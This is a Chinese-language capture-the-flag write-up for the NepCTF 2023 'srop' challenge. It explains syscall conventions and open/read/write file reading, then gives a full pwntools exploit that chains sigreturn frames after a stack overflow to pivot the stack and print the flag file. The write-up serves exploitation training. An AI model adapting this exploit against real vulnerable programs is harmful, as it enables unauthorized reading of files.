NepCtf2023 -srop

知识点

关于系统调用

查看系统调用号可以执行以下命令:

cat /usr/include/asm/unistd_64.h

syscall函数不同于syscall汇编。syscall函数定义如下:

 int syscall(int number, ...);

对于64位程序,函数参数从左到右依次存放在rdi, rsi, rdx, rcx中

所以让你通过syscall调用read时,rdi是read的系统调用号,rsi是read的第一个参数,rdx是read的第二个参数,rcx是read的第三个参数

关于ORW

下述三个函数被称为orw,可以实现任意文件读的效果。

ssize_t read(int fd, void *buf, size_t count);
ssize_t write(int handle, void *buf, int count);
int open(const char *pathname, int flags); 

示例代码如下

#include 
#include 
#include 

#define BUF_SIZE 1024

int main() {
    char buffer[BUF_SIZE];
    ssize_t bytesRead;

    int fd = syscall(SYS_open, "flag", O_RDONLY);
    bytesRead = syscall(SYS_read, fd, buffer, BUF_SIZE - 1);
    buffer[bytesRead] = '\0';

    syscall(SYS_write, STDOUT_FILENO, buffer, bytesRead);
    return 0;
}

更进一步,标准fd有如下三个:

  • 标准输入(stdin)的文件描述符是 0。
  • 标准输出(stdout)的文件描述符是 1。
  • 标准错误(stderr)的文件描述符是 2。

打开新的文件得到的fd会依次增长

也就是说这个程序调用syscall(SYS_open, “flag”, O_RDONLY);得到的fd一定是3(除非启动程序时传入了pipeFd)
测试程序如下

int main() {
    char buffer[BUF_SIZE];
    ssize_t bytesRead;

    syscall(SYS_open, "flag", O_RDONLY);
    bytesRead = syscall(SYS_read, 3, buffer, BUF_SIZE - 1);
    buffer[bytesRead] = '\0';

    syscall(SYS_write, STDOUT_FILENO, buffer, bytesRead);
    return 0;
}

运行发现一切正常

解题思路

思路如下

  1. 栈溢出后,调用sigreturn,设置新ip指向call syscall,新sp指向下一个ip,rdi设置为__NR_read。

    这步的作用是进行栈迁移,将栈迁移到一个可控的位置,方便设置ip指向栈中。

    migrationFrame(rdi = __NR_read, rsi = 0, rdx = buf, rcx = len(payload2), rip = call_sys, rsp = buf + 8)

    [为什么rsi传0](# 关于ORW)

    原始栈视图 填充后
    migrationFrame
    call_syscall
    __NR_rt_sigreturn
    old_ip pop_rdi;ret
    old_bp fake_bp
    buf fake_data
  2. 新栈的视图如下

    ps: 一个SigreturnFrame长度是0xF8

    openFrame(rdi = __NR_open, rsi = buf, rcx = 0, rip = call_sys, rsp = buf + 280)

    rcx的0对应O_RDONLY

    readFrame(rdi = __NR_read, rsi = 3, rdx = buf, rcx = flag_size, rip = call_sys, rsp = buf + 552)
    [为什么rsi传3](# 关于ORW)

    writeFrame(rdi = __NR_write, rsi = 1, rdx = buf, rcx = flag_size, rip = call_sys, rsp = buf + 2552)

    [为什么rsi传1](# 关于ORW)

    栈视图 长度
    halt <-- buf + 8 8 8 8 248 8 8 8 248 8 8 8 248
    writeFrame 248
    call_syscall 8
    __NR_rt_sigreturn 8
    pop_rdi;ret <-- buf + 8 8 8 8 248 8 8 8 248 8
    readFrame 248
    call_syscall 8
    __NR_rt_sigreturn 8
    pop_rdi;ret <-- buf + 8 8 8 8 248 8
    openFrame 248
    call_syscall 8
    __NR_rt_sigreturn 8
    pop_rdi;ret <-- sp 8
    \x00\x00\x00\x00 4
    flag字符串 <-- buf 4

完整题解

from pwn import *

context(os='linux', arch='amd64')
__NR_read = 0
__NR_write = 1
__NR_open = 2
__NR_rt_sigreturn = 15

if __name__ == '__main__':
    flag_size = 20
    call_sys = 0x04005B0
    pop_rdi = 0x400813
    buf_ddr = 0x601020
    halt_ddr = 0x40075B

    do_sigreturn = p64(pop_rdi) + p64(__NR_rt_sigreturn) + p64(call_sys)

    io = remote('192.168.142.137', 9999)

    openFrame = SigreturnFrame()
    openFrame.rdi = __NR_open
    openFrame.rsi = buf_ddr
    openFrame.rcx = 0

    openFrame.rip = call_sys
    openFrame.sp = buf_ddr + 8 + 8 + 8 + 8 + 248

    payload2 = b'flag\x00\x00\x00\x00' + do_sigreturn + bytes(openFrame)

    readFrame = SigreturnFrame()
    readFrame.rdi = __NR_read
    readFrame.rsi = 3
    readFrame.rdx = buf_ddr
    readFrame.rcx = flag_size

    readFrame.rip = call_sys
    readFrame.sp = buf_ddr + 8 + 8 + 8 + 8 + 248 + 8 + 8 + 8 + 248
    payload2 += do_sigreturn + bytes(readFrame)

    writeFrame = SigreturnFrame()
    writeFrame.rdi = __NR_write
    writeFrame.rsi = 1
    writeFrame.rdx = buf_ddr
    writeFrame.rcx = flag_size

    writeFrame.rip = call_sys
    writeFrame.sp = buf_ddr + 8 + 8 + 8 + 8 + 248 + 8 + 8 + 8 + 248 + 8 + 8 + 8 + 248

    payload2 += do_sigreturn + bytes(writeFrame)

    payload2 += p64(halt_ddr)

    # 因为call syscall下一条指令是ret,所以新的sp将是下一个ip
    migrationFrame = SigreturnFrame()
    migrationFrame.rip = call_sys
    migrationFrame.sp = buf_ddr + 8

    migrationFrame.rdi = __NR_read
    migrationFrame.rsi = 0
    migrationFrame.rdx = buf_ddr
    migrationFrame.rcx = len(payload2)

    payload1 = b'a' * (0x30 + 8) + do_sigreturn + bytes(migrationFrame)

    io.sendlineafter(b'F2023!', payload1)
    sleep(5)
    io.sendline(payload2)
    io.interactive()

你可能感兴趣的:(pwn,linux,运维,服务器)